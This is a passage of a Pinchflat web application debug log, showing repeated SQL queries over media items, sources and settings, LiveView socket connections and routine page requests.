AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:05:17.910 [debug] QUERY OK source="media_items" db=1.7ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:05:17.910 [info] Sent 200 in 14ms 23:05:17.968 [info] CONNECTED TO Phoenix.LiveView.Socket in 42µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "M3dBYQFNGCRXVicNLjcBBmd1GBIaWhV8rGyL6yIjgbQxhViMJ2SYVbTD", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:05:17.976 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "downloaded"} 23:05:17.977 [debug] QUERY OK source="media_items" db=0.3ms idle=74.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:05:17.978 [debug] QUERY OK source="media_items" db=0.7ms idle=74.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:05:17.979 [debug] QUERY OK source="sources" db=0.3ms idle=75.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:05:17.979 [debug] Replied in 2ms 23:05:17.984 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "pending"} 23:05:17.985 [debug] QUERY OK source="media_items" db=0.4ms idle=76.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:05:17.986 [debug] QUERY OK source="media_items" db=0.9ms idle=75.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:05:17.986 [debug] Replied in 2ms 23:05:17.987 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:05:17.988 [debug] QUERY OK source="tasks" db=0.3ms idle=10.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:05:17.988 [debug] Replied in 969µs 23:05:17.989 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:05:17.989 [debug] Replied in 182µs 23:05:24.593 [info] GET /app_info 23:05:24.593 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 23:05:24.594 [debug] QUERY OK source="settings" db=0.2ms idle=1529.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:24.594 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=1529.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:24.595 [debug] QUERY OK source="settings" db=0.1ms idle=1530.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:24.596 [debug] QUERY OK source="settings" db=0.1ms idle=1144.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:24.597 [debug] QUERY OK source="settings" db=0.1ms idle=143.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:05:24.597 [info] Sent 200 in 4ms 23:05:24.634 [info] CONNECTED TO Phoenix.LiveView.Socket in 41µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "dR1oX28CBn59QxgfMQ8AfhoOfRQtUS8P4-PrX6W0Mwnjwnh57I6_ain7", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:05:24.642 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:05:24.642 [debug] Replied in 181µs 23:05:27.907 [info] GET /download_logs 23:05:27.908 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 23:05:27.908 [info] Sent 200 in 824µs 23:05:28.677 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 23:05:29.016 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:59.017 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.706 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:09.626 [info] GET /sources 23:06:09.626 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 23:06:09.627 [debug] QUERY OK source="settings" db=0.2ms idle=1562.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:09.627 [debug] QUERY OK source="settings" db=0.1ms idle=1563.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:09.628 [debug] QUERY OK source="settings" db=0.1ms idle=1563.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:09.629 [debug] QUERY OK source="settings" db=0.1ms idle=1084.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:09.629 [debug] QUERY OK source="settings" db=0.1ms idle=82.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:09.631 [debug] QUERY OK source="sources" db=1.0ms idle=2.8ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 23:06:09.634 [debug] QUERY OK source="sources" db=2.5ms queue=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 23:06:09.638 [info] Sent 200 in 11ms 23:06:09.677 [info] CONNECTED TO Phoenix.LiveView.Socket in 51µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "M2hrGFhBAg9ZbR4yHCAfIWMDMygBYiJwrXS5ouSAiYhGZAwjNDxcMZcH", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:06:09.683 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 23:06:09.685 [debug] QUERY OK source="sources" db=1.1ms idle=55.5ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 23:06:09.688 [debug] QUERY OK source="sources" db=2.2ms queue=0.1ms idle=56.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 23:06:09.688 [debug] Replied in 5ms 23:06:09.691 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:06:09.692 [debug] Replied in 183µs 23:06:11.607 [info] GET / 23:06:11.607 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:06:11.608 [debug] QUERY OK source="settings" db=0.2ms idle=543.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:11.608 [debug] QUERY OK source="media_profiles" db=0.1ms idle=543.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:06:11.608 [debug] QUERY OK source="sources" db=0.1ms idle=543.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:06:11.609 [debug] QUERY OK source="media_items" db=0.1ms idle=544.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:06:11.609 [debug] QUERY OK source="media_items" db=0.1ms idle=58.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:06:11.609 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:11.610 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:11.610 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:11.612 [debug] QUERY OK source="tasks" db=0.2ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER 